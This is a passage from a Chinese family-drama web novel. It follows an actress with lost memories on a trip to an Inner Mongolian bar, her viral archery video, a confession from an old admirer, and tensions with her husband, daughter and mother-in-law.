国庆七天这里都在举办那达慕主题夜,酒吧里正播放一首非常带劲的蒙古歌曲,雄浑大气的蒙古男声唱段,伴随着呼麦和激昂的鼓点声,把气氛烘托得特别燃。 舞台上布置了一个小型擂台,是个直径六七米的圆形沙地,边缘用马鬃绳围挡着。两个体格魁梧,穿着摔跤坎肩的蒙古汉子正在台上进行摔跤比赛。 一楼卡座挤满了人,大多是打扮得漂漂亮亮的年轻人。现场的口哨声、喝彩声,喊叫声响成一片。 置身于这群年轻人当中,黄书韵和应真感觉精神也跟着振奋起来。这一天下来两人灰头土脸的,幸好刚才进来之前化了个妆,不然感觉给中女丢脸了。 三人在服务员的引领下前往二楼观景台。服务员给了他们一人一个带号码的纸质手环,提醒他们等会会有互动和抽奖。 虽然黄书韵说她请客,但秦毅怎么可能让她请。他有心做好东道主,招待好她们,给她们点了两杯特调。 一口下去,黄书韵差点吐了:“这是什么酒?!” 秦毅憋着笑:“这是‘走西口’特调。山西老陈醋、马奶酒和沙棘汁调配出来的。” 黄书韵眉头紧皱,赶紧放到一旁:“难怪!味道怪怪的!” 应真也抿了一口,觉得味道并没有想象中的无法接受。 刚坐下来,黄书韵的手机就开始狂震,她拿出来看了一眼,“真真,活久见,你老公的电话都打到我手机上了。” 她都想不起来自己什么时候存了宁君昊的手机号了,可能有二十年了吧,但是这些年一直陈尸于她的手机通讯录。 “别接。”应真的脸立刻拉了下来,从她手里拿起手机,直接掐掉,又看了秦毅一眼,“宁君昊打电话给你,你也不准接。” 秦毅现在可不敢在她面前玩心眼,从口袋里拿出手机,直接放在她的面前,“我不接。今天晚上我手机给你保管,行吧?” 黄书韵看他那双眼睛要笑不笑地看着自己闺蜜,啧了一声,将手机往他面前一推,“你自己看好就行了。谁有兴趣给你保管手机?” 台上两个摔跤手比得难舍难分,体格更大的那个明显占了上风,死死拽着对手下盘差点来了个过肩摔,隔得老远都能听到两人坎肩上的铜钉叮当作响。 很快,也就眨眼的功夫,台上便响起尖锐的哨声,一楼人都站了起来。他们仨还没看到什么情况,比赛就结束了。主持人拿着话筒介绍刚才参加摔跤比赛的选手,“这两位都是今年在那达慕大会上获得名次的摔跤选手,非常感谢他们,为我们带来一场精彩的摔跤表演。好,赢的选手将会获得“草原勇士”称号,在酒吧街的户外LED屏幕上展示一周,还将获得价值两千元的乌珠穆沁羊羔一只。输的选手则要接受惩罚,请把我们特制的罚酒端上来。” 所谓的特制罚酒是把辣椒水、马奶酒和芥末混合在一起的饮料。刚才输掉比赛的选手只能端起来一饮而尽,然后单脚跳完一段《吉祥三宝》的蒙古舞。 二百多斤的汉子瞬间像个笨重的企鹅,呲牙咧嘴地跳完了。滑稽的动作,把酒吧里的人都给逗乐了。 应真站起来为那人鼓掌喝彩,她凑到黄书韵耳朵边大声道:“我发现我竟然还笑得出来!” 黄书韵看着她开怀大笑的样子,恍惚间好像回到了年轻们她们一起逛街吃饭泡酒吧的时光。 眼前的应真不再是端庄温柔的阔太太,似乎又变成了那个走南闯北充满生命力的二十五岁女孩。 那时候大家都还年轻。天地广阔,人生还有无限可能。 黄书韵心生感慨,拽着秦毅一起过来合影,“我要把我整个导演过程记下来。今天算是项目正式启动之夜。” 她拿着手机找角度自拍,上面主持人正在报号码,“15号,15号,15号!15号请上台!” 应真忽然反应过来,推了推她:“15号不是你么?!” “啊?”黄书韵看了眼自己手里的纸质手环,尖叫着跳了起来,“真的是我!” 她放下手机便冲了上去。所谓的互动是接受一个30秒挑战,如果30秒内不被台上的摔跤手绊倒,将奖励一个纯银的马奶酒壶。 黄书韵看到那个奖品已经迫不及待地跃跃欲试了,结果她那小身板不到几秒钟就被撂倒了。最后被将近两米高的摔跤手一把薅起来,扛在肩头上绕着舞台走了一圈,黄书韵吓得花容失色,抬手紧紧扶着了自己的眼镜。 她的眼镜很贵的! 应真的手机没电,一把抢过秦毅的手机给她拍照。 互动环节结束,主持人看到黄书韵娇娇小小的,以为她是南方人,问她刚才感受如何。 黄书韵凑近话筒,笑道:“感觉很不错。第一次觉得自己身轻如燕。以后再有男人说我胖,我会告诉他们,不是我胖,是他们不行。看看人家蒙古小伙,刚才扛着我跑,都不带喘气的。” 这话让酒吧里的人哄笑大堂,应真嘴角也控制不住地弯了起来。反倒那人高马大的蒙古小伙有些不好意思地将脸背了过去。 主持人开玩笑地问她要不要感受下蒙古摔跤手的胸肌。 底下起哄的声音快把屋顶给掀了,黄书韵老脸一红,瞥了眼刚才扛着她满场跑的蒙古小伙,很快镇定下来,无所谓地耸了耸肩:“难得来草原一趟,过了这村就没这店了。这种白占便宜,又不会被骂女流氓的机会,为什么不?” 应真在下面笑得肚子疼,她真的很喜欢黄书韵的风趣。 秦毅跟她并肩站着,转头看着她,眼前的女人和记忆中的女人重叠在一起。 “应真,我们拍张合影吧。” “好啊。” 应真答应得很爽快,秦毅将将身体往后倾了倾。应真站在他身边,笑着冲镜头比了个V字。脱下羽绒服后,她里面是件很简单的白色毛衣,毛衣是有些贴身的款式,把她匀称的身材都显露出来了。 镜头里她皮肤白皙,在暖黄色的光线下,泛着温润的光,笑起来颊边的酒涡显现,眉眼间多了几分成熟女人的温柔。 两人挨得很近,他闻到她发丝淡淡玫瑰花的香气。这是他隔了十几年后,再一次跟她合影。 上一次拍照时的场景已经模糊了,只记得自己紧张得都快忘了呼吸。 秦毅抬手想撑在她旁边的栏杆上,一旁的女人将垂在胸前的头发往后拨了一下,那发丝就那样擦过他手腕上的疤。 自拍倒计时开启,他的手僵了一下,很快又放下去插进了口袋。 “这不是我们第一次合照。” 应真抬眼看他,目光里流露出疑惑。 秦毅眼里有淡淡笑意:“十几年前我在Q大念大一,你来我们学校举办过一次见面会,那次我排了一个多小时才跟你合上影。” 应真的眼睛一点点睁大,“那次你也去了?” 她眼里的惊讶,让秦毅有些窘:“不仅去了,跟你拍了合影,后来还给你写了好多信。” 秦毅翻出十几年前的合影照片,拿给应真看。那天晚上在礼堂,光线并不太好,但是还是能看到照片里两人眉眼都很青涩。 他穿着一件黑色的厚外套,体型大概只有现在的二分之一,一脸惨绿少年的阴郁。 应真捂着脸,有些不可置信地仔细看着那张照片,“天呐。我那时候也太黑了,又黑又瘦。” 秦毅:“我觉得挺漂亮的。那次见面会后,很长时间里,你都是我们宿舍男生卧谈会的主要话题。” 应真知道自己当年在大学生里头挺火的。Q大邀请她去开见面会后,很快其它学校也发来邀约。余姐甚至想让她接拍青春偶像剧,可惜她当时一门心思想演电影,错过了几部后来爆火的电视剧。 从另一个人嘴里听到当年见面会的事,应真心里生起了一丝很复杂的感受。对她来说,这不过是四五年前的事,而对秦毅来说,已经是快二十年前的事了。 像是在不经意间互相短暂地见证了一下对方的青春,这感觉很微妙。 酒吧里暖黄色的聚光灯闪烁着,加上蓝色的追光,应真仿佛置身于一片摇曳的篝火之中,眉眼看上去温柔极了。 秦毅已经很久没有说这么多话了。他觉得可能以后也很难有适合说这些话的场合。于是,他忍不住把心里的话都说出来,“我上大学的时候是班里最小的,一开始很不适应集体生活,第一学期就挂了好几科,搞得整个人都抑郁了。后来课也没法上,整天躺在宿舍里。那天见面会是室友拉着我去的,结束后,你留了邮箱地址给我们。我那时候不去上课,就在宿舍给你写信。写了好多,你都回了,还鼓励我……” 应真记得有这么一个人,但想不起名字了。 “后来我邮箱被封了,无法登录。我还一直担心你呢,怕你想不开。” 应真没想到他就是那个抑郁症男孩,心情有些激动:“你现在财富自由,还自己开了家牧场。一切都过去了,说明我的担忧是多余的。 秦毅笑着点头:“再大的事情,只要拉长时间轴,从更大的时间跨度去看,好像也变得渺小了。” 初中的时候,母亲自杀,他亲眼目睹她躺在血泊。那个画面困扰他很久很久。现在那个画面也渐渐淡了,他甚至都很少梦见母亲。 秦毅看着她,笑容一点点收起:“我想说的是,如果你想继续复出拍电影,就坚定地走下去。我…我们当年那些Q大的人都会支持你。” 应真有些感动:“秦毅,谢谢你跟我说这些。” 只是,那些Q大的人里面肯定不包括宁君昊,他可一点也不支持她复出拍戏。 …… 台上的互动结束了,黄书韵冲下来,看了应真刚才发给她的照片,露出满意的微笑。 第二轮互动是VR射箭游戏,黄书韵知道应真受过专业的训练,怂恿她上去参加。 “真真,你去嘛,我想要那个全银的马奶酒壶。” 应真看她是真的很想要,站起来冲主持人举手示意,“我来试试!” * 小李接到老板电话,正在乡下老家钓鱼。放假前,老板让他把车子停到别墅的车库里就行,假期他自己开车。 没想到假期快结束了,他突然接到老板电话,说是要去锡市的一家牧场。他看了老板发过来的地址,离北市挺远的,开车过去要八九个小时。 幸好小李家就在北市市郊,一接到电话就立刻开车返城了。原以为老板突然想去内蒙牧场,是打算跟太太一起过去玩。等接到人才发现只有老板一个人,看上去脸色不大好。 小李也不敢多问,赶紧出发。这个点过去,到那也该半夜了。 宁君昊靠在椅背上,心里烦闷至极。对着只有年轻记忆的应真,夫妻俩这么多年形成的默契荡然无存,他没办法用妻子和母亲的角色来绑定她。 她才刚结婚,脑子里就没有这些概念。有时候,宁君昊感觉自己真的有点拿她没办法。 上车后,他打了好几个电话,不管是应真,还是黄书韵和秦毅,电话统统都打不通。已经淡忘的久远记忆又涌了上来,当年他跟应真谈恋爱时,只要一吵架,她的电话就打不通。 她生气了,跟他吵架,觉得他说不通,就拒接电话。那时候的他也疯,她不接,他就打到她手机没电为止。 人到中年,荷尔蒙水平下降,即便夫妻俩有什么龃龉,也没力气吵了,应真更多的是跟他冷战。 宁君昊不喜欢这种失控的感觉,满脑子想的都是,见到应真后跟她说什么。 车子刚开出北市,女儿打电话进来,“爸爸,明天赛艇公开赛,你早上来奶奶这接我。你之前说好的,陪我去看。” 电话那头女儿的声音还一如既往地娇纵任性。陪女儿一起观看赛艇公开赛,是他们父女这几年的固定节目。如果是往常,宁君昊肯定不吝于在这种事情上展示一下父爱。 可是眼下,他的确没什么心情,再说明天早上也来不及。 “这两天我有事,你让奶奶陪你一起去。” 宁颐然很生气:“买票的时候,你自己说的,你会陪我一起去。你说话不算话!” 宁君昊耐着性子解释:“我当然想陪你去。但现在我临时有事。这上升不到说话不算话的程度。” 平时爸爸的陪伴本来就少,好不容易找了个机会让他陪陪自己,他竟然临时放她鸽子,宁颐然气得快爆炸了,“你不陪我去算了!我才不跟奶奶一起去呢!我自己去!” 宁颐然赌气挂断电话,坐在那儿委屈得掉眼泪,脑中突然冒出一个念头:这要是妈妈答应的事情,她一定不会忘记。 可是一想到上次跟妈妈大吵一架,她气得来奶奶家,这么多天,妈妈都没有给她打过一个电话,宁颐然更难受了,将脸埋在枕头里哭了起来。 宁君昊终究是不放心女儿,又打了个电话过来,“爸爸现在在去内蒙办事的路上,最快也要明天下午才能回来。我打电话给你二婶婶,让她带你和霜霜姐姐一起去看比赛怎么样?” 宁颐然这会委屈得满脸是泪:“谁要跟她们一起看啊!一个比一个八婆!” 女儿尖锐的嗓门嚷得宁君昊脑壳疼。他耐心很快告罄,眉头皱了起来,语气也变得严厉:“宁颐然,遇到事情闹情绪没有用。爸爸说了没时间陪你去,刚才已经在给你解决方案。如果你对我的解决方案不满意,你可以说下你想要的方案,然后再看我们双方能不能达成一致。” 爸爸冷漠的话语像是一堵墙,宁颐然的心情跌到谷底,她冷冷道:“我不需要谁陪!明天我跟同学一起去!” …… 何方珍正在客厅看电视,听到孙女房间传出来动静。她进来看到孙女趴在床上,哭得枕头都湿了,吓了一跳:“怎么回事?你刚才在跟谁吵架?” 宁颐然哭得更大声了:“我爸说话不算话!说好了赛艇公开赛,陪我一起去。现在又说自己没空!” 搞清楚来龙去脉,老太太心疼得不得了:“他不去算了!明天奶奶陪你一起去!” 宁颐然将眼泪抹干,抽噎道:“不用!我明天跟我同学一起去!” 她突然想到什么,打开手机,点开妈妈的微信号。她已经屏蔽妈妈的朋友圈很久了,以前妈妈会在朋友圈发她做的早餐,还会发些咖啡拉花的图片和插花的图片。 宁君昊对这种空洞无聊的全职主妇朋友圈一点兴趣没有,直接把妈妈的朋友圈屏蔽了。她不想看,也不让妈妈看她的朋友圈。 她来奶奶家这么多天,妈妈一次也没联系过她。她忽然很想知道妈妈这些天都在干什么。 宁颐然点开妈妈的朋友圈,映入眼帘的是几张风景照,再看下面的定位,她愣住了。 内蒙? 内蒙?? 内蒙??? 原来妈妈这些天不联系她,是跑到内蒙去玩了,然后爸爸也去内蒙陪她了。他们出去玩,竟然不带她,说都不说一声把她一个人扔到奶奶家,然后他们倒是开开心心地去旅游了。 宁颐然感觉天塌了,胸口难受得快胀开了,她感觉自己像个被抛弃的孩子。她哭着跟奶奶告状,把妈妈发在朋友圈的图片给奶奶看。 何方珍有些纳闷:“为什么你妈妈发在朋友圈的这些照片,我看不到?” 宁颐然生气奶奶到现在还没搞清楚重点,一把从奶奶手里夺过手机,“我妈的朋友圈肯定是分组了。奶奶你根本不在她的分组里。我妈还没傻到出去玩,让你知道!” 何方珍并没有生气,她只是觉得这完全不像她那个儿媳的作风:“不会吧?你妈那么看重你,怎么可能扔下你一个人跑到内蒙去玩?她会不会去那边有什么事?” 宁颐然:“她去内蒙能有什么事!奶奶,你根本不知道,我妈最近就像换了个人一样,一点也不关心我!那天,我妈还问我,如果她跟我爸离婚,我会跟谁……” 孙女这一番让何方珍警铃大作,“你妈问过你,离婚的事?什么时候问的?” 宁颐然:“也没多久。一个月前。” 一个月前,那时候儿子的公司已经开始筹备上市了。难不成自己这个儿媳想趁着上市这个关口,敲上儿子一笔? 何方珍这下坐不住了,拿起手机上楼给儿子打电话。 宁君昊看到母亲打来电话,还以为她是来说女儿的事的。一接通母亲劈头盖脸地问他:“你跟应真最近倒底怎么回事?是不是感情出了问题?” 宁君昊语气冷淡:“没有。我们感情好着呢。” 何方珍听到儿子敷衍不耐的口吻也来火了:“然然说,应真一个月前问她,如果她跟你离婚,然然愿意跟谁……” 一个月前。一个月前应真应该正在找律师草拟离婚协议书。宁君昊现在根本不想回忆那段时期的事,偏偏他母亲又要跑过来提醒她,他语气愈发冷了:“妈,她表姐田佳蕙前阵子离婚了,她就是随口问一句,你想那么多干嘛?” 何方珍忍不住唠叨儿子:“我跟你说,你可得防着点。别让她搞出什么事,影响你们公司上市。当初你们结婚的时候,我让跟你跟她签婚前协议,你不肯。现在知道厉害了吧……这十几年,她在家享福,万一要是离婚,就这么分走一半……” 宁君昊一点不想听他妈妈唠叨,冷言打断:“妈,行了,这十几年在家享福的是你,不是应真。她自己亲自带孩子照顾孩子,又没有烦过你一天。你说的这些,我心里有数,你就别瞎操心了。” 说完他就把电话撂了。 何方珍脸色铁青,被儿子一番话气得直哆嗦。说出去谁不羡慕她有个有本事的儿子,现在过上有钱老太太的生活。只有她自己心里清楚,她这个儿子有多凉薄。永远不要想他能说什么关心人的话。偏偏他给钱给的大方,自己那几个兄弟都看在眼里。她就是想在外头说一句儿子“不孝”,都无从说起。 老太太在儿子身上索取不到亲情和理解,就想着找儿媳妇。她拿出手机给应真打电话,根本打不通,反反复复只有一句“您拨打的电话暂时无法接通”。 何方珍气得将手机扔到一旁。 第35章 第35章她有鲜花羞耻症,哪个男…… 凌晨两点,黄书韵搂着那个精致的全银雕花奶壶从酒吧里出来,激动得一直夸应真宝刀未老。 应真转了转自己的手腕,“刚才那个弓的材质我没见过,很轻,拿到手里一点不累。跟我以前训练用的不太一样。” 秦毅有些奇怪地看了她一眼:“你是不是很久没玩过射箭了?那弓是碳纤维的。现在好多射箭馆用的都是这种材质。” 说实话,应真偶尔给他一种很奇怪的感觉,就不像现代人,像是从以前穿越过来的。 到了这个点,酒吧街仍然很热闹,临街的档口坐了不少喝啤酒吃烧烤的人。有小孩趁着放假,提着篮子在路上卖花。 黄书韵在网上看过攻略,这种花不能买,都是用便宜的康乃馨假冒玫瑰花。 看到卖花小孩朝她们走过来,她压低嗓门对秦毅道:“你千万别买,不然老娘跟你翻脸!” 秦毅笑出声来:“这一晚上,你辈分涨个没完了?” 那两个卖花小孩看到秦毅,果然冲了过来,一人抱着秦毅的一条腿,“哥哥,姐姐这么漂亮,给姐姐买朵花。” 两个小孩的篮子里,是粉色和红色的玫瑰,瞅着还不错。秦毅被他们缠着没法,拿出手机准备扫码:“行,你们俩的花我包了。” 姐弟俩没想到今天一开张就遇到大客户,强压住激动的心情,“哥哥,你买的多,我们给你优惠,一篮一百五十块,总共三百块钱。” 黄书韵指着其中那个男孩的篮子:“你这不是玫瑰,是康乃馨,你可别当玫瑰卖给我们!” 男孩还想争辩,一旁姐姐对上黄书韵那双犀利的眼睛,赶紧道:“姐姐,这个叫人鱼粉,也不便宜的。你们买的多,我便宜你们二十块钱吧。” 最后秦毅花二百八十块把两孩子的花全买了下来。 黄书韵有鲜花羞耻症,哪个男的要是送她花,她就浑身不自在。看秦毅捧着两捧花,她连连摆手:“你买你自己拿着吧。我可不要。” 秦毅被她压了一晚上辈分,将那捧粉色康乃馨塞到她怀里,一本正经道:““刚才是你说老娘的,这粉色康乃馨孝敬你!”” 说完他又把另一捧红色的玫瑰塞到应真怀里。应真对鲜花也不感冒,不过还是接了下来,冲他点点头:“谢谢。” 几个跟她们一起从Revolution酒吧出来的女孩,走在后面,看到这一幕笑了。 其中一个年纪大一点的姑娘脸红红地走过来:“应真姐姐,我很喜欢你的电影,能不能跟你合个影?” 应真没想到在这里遇到影迷,一手捧着鲜花,一手楼着那姑娘,“好呀。让你朋友帮我们拍吧。” 另外几个姑娘看应真这么亲切,也要上来合影,还有要跟黄书韵合影的,“姐姐,你是那个千帆雪的编剧,对不对?” 黄书韵愣住:“你怎么知道?” 小姑娘笑:“我知道啊。前段时间那个嘉鼎CEO在微博上发的照片,上面有你。” 黄书韵有些吃惊:“靳年流量这么高!你们都关注他?” 小姑娘已经掏出手机了:“我太喜欢千帆雪了,书韵姐姐,求合影。” 千帆雪是黄书韵前几年担任编剧的古偶剧。也是她当了几十年编剧,播得最火的一部剧。这是遇到真粉丝了,她只能乖乖配合。 几个姑娘都拍完,其中一个小姑娘有些害羞地看着应真:“应真姐姐,刚才你在台上射箭太帅了。我给你拍了视频。等会我能发到红色软件上吗?” 小姑娘刚才坐在舞台的左前方,刚好对着应真的侧脸,角度很好,视频拍得很清楚。她把自己拍的视频给应真看:“我回去剪辑一下,保证效果会更帅!” 应真在红色软件上有号,是余姐给她开通的,发了几个她以前电影的高光片断。她冲那小姑娘笑道:“好啊。你发吧。在红色软件上@一下我就行了。” 女孩激动得猛地点头,又指着不远处正在抽烟的秦毅道:“应真姐姐,那是你丈夫吧?好帅啊!” 应真没想到就这么一会功夫,竟然让她们产生了这种误会,赶紧否认:“不是!不是!他是我朋友!” 黄书韵也傻眼了:“你们别在网上乱说啊。他不是应真老公,是我们一朋友。” 女孩看着应真怀里搂着的玫瑰花,捂着嘴笑了,一副我懂我懂的表情,“放心吧,姐姐,我不会在网上乱说的。” 几个姑娘开心地走了。黄书韵有些无语:“要怪只能怪宁君昊太低调了,网上都没照片视频流出来。她们竟然把秦毅认成你老公。” 应真也不明白小姑娘们的脑回路:“可能时代不一样吧。我们那时候去酒吧玩,出来碰到卖花的,有男人买花,转手送出去,几乎每个姑娘人手一朵。” 黄书韵点头:“所以那时候,我根本看不出来谁喜欢谁!我就这么错过好几个姻缘!” 因为喜欢一个女孩,而买花送给在场所有的女孩。她们年轻的时候,男孩追女孩的方式非常古典。 黄书韵有些自嘲地笑了笑:“一把年纪了被这么小的姑娘叫姐姐真的有点不自在。” 应真此刻笃定自己只有二十五岁,睨她一眼:“有啥不自在的?人家叫你阿姨你就开心了?” 她们拍照,秦毅闪到一旁去抽烟。等她们拍完了,他走过来:“走!我送你们去酒店!” 应真和黄书韵在机场附近的酒店定了房间,秦毅把她们送到那儿,给自己也开了间房。 住了一晚上,第二天他一早便离开了,放心不下他的马。 这一晚,应真睡得很好。第二天醒来,她发现自己好像已经能很抽离地看宁君昊对她做的事了。 这么多年,他习惯了在夫妻关系中当那个掌控者,他试图控制她。 而她必须让他明白,她是她,她不是四十岁的应真。即便是四十岁的应真,一定也没办法接受他这种控制欲。 他必须学会尊重。应该做出改变的是他。 经过昨天一天,黄书韵对秦毅的印象大为改观,觉得他这人能处。 应真对他的印象也不错。第二天早上,在酒店吃早餐时,她把自己当年在Q大见面会,跟秦毅合过影,后面还发过邮件的事,告诉了黄书韵。 “这么一说,他认识你,比我认识你还早!” 黄书韵惊叹,很快又反应过来,“难怪这次咱们过来,他又改变主意,打算重新投资咱们的项目。他大学得抑郁症,你回的那些邮件救了他一命!” 应真搅动着咖啡:“他说他有抑郁症,我一开始还以为他骗我。后来看他心情好像真的很不好,我就回了些鼓励的话。” 黄书韵咬了一口面包:“其实我一直觉得秦毅有点呆气,以前上中学的时候经常自言自语,在学校挺孤僻的。我后来才知道他母亲在他初中的时候自杀了,听说是因为信了不该信的教。还是个工程师呢,就这么抛下儿子丈夫走了。” 应真正在喝咖啡,听到这停下来,抬头看着她。 “他爸是我们学校的数学老师,父子俩一直就这么相依为命。但高考结束第二天,他爸跟我们学校一个离异的英语老师摆酒办婚宴了,没多久两人的儿子就出生了。我听以前同学说才知道,他爸其实早跟那个女老师登记了。因为怕影响儿子高考,一直没公开。后来他上Q大,他爸就把以前的房子卖了,在我们那一个很好的小区换了套大房子。秦毅上大学后,很少回去,反正我过年从来没看到过他……” 听黄书韵说秦毅年轻时候的事,应真有种心有戚戚焉的感觉。想到自己北漂最开始那几年,也很难熬。倒是不是因为,主要是因为孤独。 在一座巨大的城市里,举目无亲的那种孤独。幸好她一直在拍戏,忙得没空胡思乱想。 应真的手机昨天晚上没电,她关机充了一晚上电,这会拿出来开机,微信不停地弹出消息提醒。她看了一眼,有宁君昊发来的,有婆婆发来的,还有女儿发来的。 乌云压顶的感觉,这才是属于她的真实世界。这些消息无时不刻地在提醒她,她是妻子、儿媳和母亲。 婆婆质问她,跑到内蒙去玩,连女儿不管了,有这样当妈的样吗?女儿那自然也没什么好话,埋怨她为什么要国庆去内蒙玩!原本爸爸答应陪她去赛艇公开赛的,现在因为去内蒙放了她鸽子! 应真看了几眼就退出了。她不知道回什么,也不想回。 倒是群里余姐发了好多消息,还转了条红色软件的帖子,“应真,你火了!!!” 余姐可能太激动了,发了三个鲜红的感叹号。 第36章 第36章“霸总也买39.9的花…… 应真手机上有红色软件,但很少打开。对这些后来才兴起的社交软件,她都有种强烈的陌生感。 她用得最多的还是微博,不过也只是潜水而已,很少发内容。这些年她在网络上并不活跃,微博只有几万粉丝。关注她的粉丝大多也不年轻了,过了在微博上活跃的年纪。红色软件上粉丝就更少了,才几百人。 所以当她顺着余姐发的帖子,打开红色软件,看到右下角99+未读消息,非常吃惊。 点进去看才知道昨夜那个很腼腆的女孩竟然是个网络上小有名气的影视剪辑博主,在红色软件上有几万粉丝。 她把应真在《孤影江湖》那部电影里,在沙漠里骑马射箭的镜头和昨天在酒吧里拍的VR射箭视频剪在一起了,连箭头的轨迹都完美重合在一起,配上当年电影的主题曲,热血扑面而来。 凌晨四点发布的,几个小时功夫点赞已经十几万,底下评论几千条。 女孩发了视频后,还@了应真。应真看到新增关注上99+的红色数字,有些懵:“现在一个视频的威力这么大?” 先前才几百号人关注她,就这一会功夫已经涨了四千多人了,照这个速度下去,她的粉丝岂不是很快就破万了? 应真还是古早互联网时代的记忆,对现在的网络玩法一点不了解,根本想不到一个小视频就能让自己涨这么多粉丝。 黄书韵知道她对这些平台不了解,打开帮她看,结果差点惊掉了眼镜,“真真,你上了热点了,第三名!余姐说的没错,你在红色软件上火了,这上面可都是活人!” 她把自己的手机拿给应真看,指着上面的热点排行榜,“喏,你看第三条,当武侠片女主走进现实。点进去最上面就是昨天那姑娘发的视频。” 这个时间点酒店里餐厅里,吃早饭的游客不少。应真把声音调到最低,又完整地看了一遍。视频不长,一会就看完了。 她跟黄书韵的关注点不一样:“我体重明明降到和十几年前一样了,同样的衣服现在穿在我身上,就是比以前显胖。” 黄书韵觉得她对自己要求太高:“你现在几岁?以前几岁?维度不一样了。我倒觉得你现在身材非常完美,瘦而不柴!” 再说《结婚十年》里的女主是娇小丰满类型,瘦下来就不像了。 这就是亲闺蜜吧,看自己哪哪都好。应真笑着摇头:“你真是一点不客观。” 其实她再想减也减不下来,生育对身材的影响还是挺大的。她一回来就发现生完孩子后,胸部竟然升了一个cup,衣橱里内衣全变成Dcup了,而且她的胯也比以前宽了3公分。 黄书韵翻出下面的评论给她看:“你看,这个评论说你拉弓斜方肌完全不耸肩。还有这个,说你的背阔肌线条比她二十岁的堂弟还清晰。” “还有这个更好笑,说你四十岁怎么做到眼里还有狼崽子的光……” 应真刚才看视频也发现自己一拿起弓像是换了个人,“她们可能是觉得我拉弓放箭那一瞬间,眼神有点凶。这都是以前演戏留下来的后遗症。” 《孤影江湖》她演的是一名女杀手,在电影里拿箭对着别人,那必定要下死手了,眼神必须得狠。当初就是因为她眼神不够,导演觉得她不贴人物,开机后一直想把她换掉。为了练那个眼神,她可费了不少功夫。 那小姑娘剪的视频上了热点后,底下什么评论都有。有些应真看得懂,有些看得一头雾水。 “姐姐电影里用的是传统牛角弓,现在VR弓是碳纤维复合弓,但姐姐撒放瞬间的‘蒙古式射法’二十年没变!” “姐姐只是把内娱用来打针的钱,花在了射箭馆罢了(狗头)。” “爸妈年轻的时候吃的真好。” “姐姐眼神太杀了!” 网友一口一个姐姐,一屏又一屏的评论眼花缭乱。应真从E-mail时代过来的,好多梗她看不懂,指着其中几条问黄书韵:“什么意思啊?” 黄书韵一一给她解释,应真听了直乐。说到这,她突然想到从女儿那听到的一个词,“绿茶是什么意思?前段时间听我女儿当我面说什么greentea。我感觉好像不是什么好词。” 黄书韵抬头看着她:“你女儿当你面说绿茶?说谁啊?” 应真想了想:“看她那气呼呼的样,应该是说我吧。” 黄书韵无语住了。聪明如她,“绿茶”的意思也不知道怎么跟应真解释,这个词的模糊空间实在太大。她在手机上哐哐一通搜索,然后找出一个觉得相对靠谱的解释给她看。 应真很快看完了,然后沉默了。这词的意思并不难懂。她只是没想到女儿竟然那么看她。再次印证了,她这个母亲当得确实失败。 说起女儿,应真眉眼掩不住的失落:“曾经我也幻想过自己如果有女儿,肯定会是个很好的妈妈。没想到真等我生了女儿,妈妈当得这么失败。” 黄书韵安慰她:“我表哥家上初中的儿子也差不多,在外人面前乖巧懂事,在父母面前没教养没礼貌,时不时把把我表哥表嫂气得发疯,恨不得一脚踹到太平洋去。有时候看多了孽子孽女,我真庆幸自己没孩子。真真,也就你脾气好,我的脾气真的一天都忍不了。” 应真笑:“我还是不跟你说这些,把你吓得更不敢结婚了。” 黄书韵一脸满不在乎:“没事,你说吧,我爱听。听你们结了婚生了孩子的吐槽,我多积累点素材,过年回老家,我爸妈再念叨我为啥不结婚,我就把这些故事讲给他们听。” 两人聊着聊着都笑出来了。应真也体验过跟黄书韵一样的单身生活,一个人生活了好几年。现在又感受了四十岁有丈夫有女儿的全职主妇生活。她发现自己好像对这两种状态都渐渐开始祛魅了…… 余姐打了个电话到应真手机上,“昨晚倒底几个人拍到你们啊?有人把你们跟秦毅的照片发到网上了,网友都猜是你老公。” 应真怔了一下,“昨天从酒吧出来,有几个小姑娘认出我们来。她们看到秦毅给我们买花,误以为他是我老公,跟她们她说,她们也不信。” 余姐:“那我用小号辟下谣吧。网上应该有你们家老公的照片,我找一下。” 应真觉得自己现在就是个过气演员,这热度撑不过一天,辟不辟谣就那样。不过她担心网友的评论给秦毅造成困扰,人家一个单身汉肯定不希望被人这么误解。 “好。你帮我回一下。” 挂断电话,对面黄书韵正捧着手机笑得东倒西歪。 应真:“怎么了?” 黄书韵笑得上气不接不下气:“网友说他在酒吧街也买过那小孩的花,一篮39.9。他没想到霸总也买39.9的花给老婆。我把这评论截图给秦毅了,昨天我让他别买那花,这下被人净赚200。” 这里头的误会好像有点多,应真还没来得及看网友拍的照片。手机又震动起来,宁君昊打来的,她随手掐掉。然而一抬眼,便看到一个熟悉的高大身影正站在餐厅门口。 宁君昊脸色不大好,眼神也冷,抿着唇站在那儿看她。 对上他那双冷峭的眼睛,应真觉得这一架好像必须得吵了。 她擦了把嘴,一边起身一边对闺蜜道:“宁君昊来了,我出去一下。你等我十五分钟。” 蛤?黄书韵还没反应过,就看到应真站起来往外走。一转头,果然看到她丈夫的身影。 这人还真是,一路从北市追过来,甩都甩不掉。都一把年纪了,劲儿怎么比十几年追应真的时候还足? * 赛艇公开赛在北市伊宁河举办,今年因为预约收费制度,沿途观众没有往年多,但体验感好了许多。 在所有观赛点,宁颐然预约的那个河滨大桥是视野最好的,也是票最贵的。 宁颐然一个人打车到了观赛点,她不喜欢打车,出租车里面都太臭了,但是她更不喜欢跟奶奶一起出门。 她到的时候,晋扬和魏珣已经在那儿了。 两个初二男生,平时都开始一个人出门了。尤其晋扬,他爸妈工作太忙,他连周末去上补习班,都是自己坐地铁去。 宁颐然问他们怎么来的,魏珣有些诧异地看着她,“坐地铁来的啊。地铁站离这走路才五分钟。你不会连地铁都没坐过吧?” “没坐过又怎么样?”宁颐然冷淡地看他一眼,“坐地铁是什么很光彩的事吗?” 魏珣本来想损她几句,一想到今天门票是她帮忙买的,忙道:“你是大小姐,出入有专门司机,跟我们这种不一样。” “好了。”晋扬也不知道为什么他们见面就掐,提议道:“我们去领加油棒和手牌吧。听说还有互动小礼品。” 他知道宁颐然这几天心情不好,主动过来牵她的手。宁颐然脸红了,虽然他们之前已经偷偷牵过手了。但当着其他人面,她还是有些不好意思。 幸好魏珣只咧嘴干笑了几声,没叽歪什么,不然她可能会打爆他的猪头。 今天北市天气特别好,艳阳高照,不时有扛着赛艇的各国运动员从他们身后经过。 宁颐然有些艳羡慕地看着来往的运动员。听说明年公开赛会增加青少组,他们学校的赛艇队准备挑选队员去参加比赛了,她觉得自己到时候肯定能入选。 观赛点的人渐渐多了起来,那些拎着长枪短炮的大爷们都往前面挤。幸好他们来得早,占据了视野最好的位置。 